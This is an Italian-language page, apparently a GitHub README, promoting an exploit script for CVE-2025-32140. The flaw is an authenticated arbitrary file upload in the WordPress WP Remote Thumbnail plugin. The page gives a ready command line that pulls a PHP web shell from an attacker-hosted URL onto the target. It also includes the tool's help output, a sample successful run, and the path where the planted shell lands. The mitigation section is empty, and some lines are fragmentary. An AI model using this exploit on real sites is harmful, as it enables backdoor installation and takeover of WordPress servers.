
WordPress WP Remote Thumbnail Plugin <= 1.3.2 è vulnerabile al Caricamento Arbitrario di File.
CVE-2025-32140 è una vulnerabilità critica nel plugin WP Remote Thumbnail per WordPress. Consente a attaccanti autenticati (con permessi di collaboratore o superiori) di caricare file arbitrari, come web shell, abusando di una funzionalità difettosa che accetta URL non sanificati.
Il plugin non convalida il tipo di file o il contenuto recuperato dall'URL remote_thumb fornito. Ciò consente agli attaccanti di salvare file PHP malevoli (ad esempio, backdoor) nella directory /wp-content/uploads.
edit_post)Questo script Python automatizza lo sfruttamento di CVE-2025-32140, eseguendo i seguenti passaggi:
remote_thumb.| Opzione | Alias | Descrizione |
|---|---|---|
--url | -u | URL del sito WordPress target (es. http://target.com/wordpress) |
--username | -un | Nome utente WordPress con privilegi di modifica dei post |
--password | -p | Password per il nome utente specificato |
--user_ID | -uid | ID utente WordPress (di solito 1 per l'amministratore) |
--post_ID | -pid | ID del post da modificare (può essere una bozza) |
--shell | URL diretto a una web shell PHP ospitata sul server dell'attaccante |
python CVE-2025-32140.py -u http://target.com/wordpress -un admin -p admin -uid 1 -pid 631 --shell http://attacker.com/shell.php
usage: CVE-2025-32140.py [-h] --url URL --username USERNAME --password PASSWORD --user_ID USER_ID --post_ID POST_ID --shell SHELL
Exploit For CVE-2025-32140 # By: Nxploited | Khaled Alenazi
options:
-h, --help show this help message and exit
--url, -u URL Target WordPress site URL (e.g., http://192.168.100.74:888/wordpress)
--username, -un USERNAME
Username
--password, -p PASSWORD
Password
--user_ID, -uid USER_ID
User ID (usually 1 for admin)
--post_ID, -pid POST_ID
Target post ID
--shell SHELL URL of the shell to be uploaded (e.g., http://attacker.com/shell.php)
[+] Logged in successfully.
[+] Cookies set successfully.
[DEBUG] Extracted _wpnonce: b4ef78e77d
[DEBUG] Extracted meta-box-order-nonce: 0c192fe62e
[DEBUG] Extracted closedpostboxesnonce: 52be514040
[DEBUG] Extracted samplepermalinknonce: 7b213c6597
[DEBUG] Extracted wprthumb_nonce: 45803ee312
[DEBUG] Extracted X-WP-Nonce: None
[+] Exploit POST sent successfully. Check your uploads directory.
By: Nxploited ( Khaled Alenazi ) | https://github.com/Nxploited
Una volta sfruttato, la web shell caricata sarà probabilmente memorizzata in:
http://target.com/wordpress/wp-content/uploads/YYYY/MM/shell.php
Sostituisci YYYY/MM con l'anno e mese correnti del caricamento.
Per mitigare il rischio posto da questa vulnerabilità:
Questo script è fornito solo a scopo educativo.
L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo exploit.